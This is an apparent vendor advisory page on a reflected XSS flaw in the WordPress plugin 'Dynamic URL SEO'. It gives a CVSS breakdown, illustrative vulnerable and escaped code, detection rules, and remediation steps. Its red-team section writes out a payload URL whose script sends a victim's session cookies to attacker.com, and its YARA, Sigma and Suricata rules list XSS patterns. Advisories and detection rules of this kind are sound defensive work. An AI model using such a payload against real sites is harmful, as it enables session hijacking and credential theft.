CVE-2025-23984
Executive Summary
CVE-2025-23984 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Dynamic URL SEO" by Brainvireinfo, affecting all versions up to and including 1.0. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 7.1 (High) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. No package manager (NPM, PyPI, Go, Ruby) is involved, but the supply chain risk lies in the plugin's update mechanism—since no patch exists, users must manually remove or replace the plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact can extend beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High (7.1) – Reflected XSS can be weaponized for phishing, session theft, or malware delivery.
Deep Dive & Mechanics
The vulnerability resides in the dynamic-url-seo plugin's handling of URL parameters. The plugin likely processes user input (e.g., via $_GET or $_REQUEST) and reflects it directly into the HTML response without proper sanitization or output encoding. For example, a parameter like ?q=<script>alert(1)</script> would be echoed back in the page source, allowing script execution.
The core issue is a lack of esc_html(), esc_attr(), or similar WordPress escaping functions on user-controlled data before output. This is a classic Reflected XSS (CWE-79) pattern.
Vulnerable vs. Patched Code
Since no patch exists, the vulnerable code is presumed to be in the plugin's main file (e.g., dynamic-url-seo.php). A typical vulnerable pattern:
// Vulnerable code (hypothetical)
echo '<div class="search-result">' . $_GET['q'] . '</div>';
A patched version would use WordPress escaping:
// Patched code
echo '<div class="search-result">' . esc_html( $_GET['q'] ) . '</div>';
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Craft a malicious URL:
http://target-site.com/?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver via phishing email or social engineering to a logged-in WordPress admin.
- Upon click, the script executes in the victim's browser, exfiltrating session cookies to the attacker's server.
Lab Setup:
- Install WordPress with Dynamic URL SEO plugin v1.0.
- Use a local server (e.g., XAMPP) and a tool like Burp Suite to intercept and modify requests.
- Test with a simple payload:
<script>alert('XSS')</script>.
Blue Team (Defense & Detection)
- Web Application Firewall (WAF): Block requests containing
<script>tags in query parameters. - Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.
- Input Validation: Sanitize all user inputs server-side.
- Monitor Logs: Look for unusual query strings with HTML/JavaScript content.
Indicators of Compromise (IOCs)
- Network: HTTP requests with query parameters containing
<script>,onerror,onload, orjavascript:. - Host: Web server logs showing repeated requests to
/?q=<script>...or similar patterns. - File: Presence of the
dynamic-url-seoplugin directory in/wp-content/plugins/. - Behavior: Unexpected outbound connections from the web server to unknown IPs (data exfiltration).
Detection Engineering
YARA Rule
rule CVE_2025_23984_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Dynamic URL SEO plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-23984"
strings:
$payload1 = "<script" ascii wide nocase
$payload2 = "onerror=" ascii wide nocase
$payload3 = "onload=" ascii wide nocase
$payload4 = "javascript:" ascii wide nocase
$plugin_path = "/wp-content/plugins/dynamic-url-seo/" ascii wide nocase
condition:
any of ($payload*) and $plugin_path
}
Sigma Rule
title: Reflected XSS Attempt Against Dynamic URL SEO Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in query parameters targeting the Dynamic URL SEO plugin.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
cs-uri-stem|contains: '/wp-content/plugins/dynamic-url-seo/'
condition: selection
falsepositives:
- Legitimate use of JavaScript in query strings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-23984 Reflected XSS in Dynamic URL SEO"; flow:to_server,established; content:"/wp-content/plugins/dynamic-url-seo/"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable and remove the "Dynamic URL SEO" plugin from all WordPress installations.
- Alternative: Use a different SEO plugin that is actively maintained and patched.
- Long-term: Implement a Web Application Firewall (WAF) with XSS rules. Enforce Content Security Policy (CSP) headers. Regularly audit plugins for vulnerabilities.
- No patch available – vendor unresponsive. Consider forking the plugin and applying the fix yourself if the functionality is critical.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.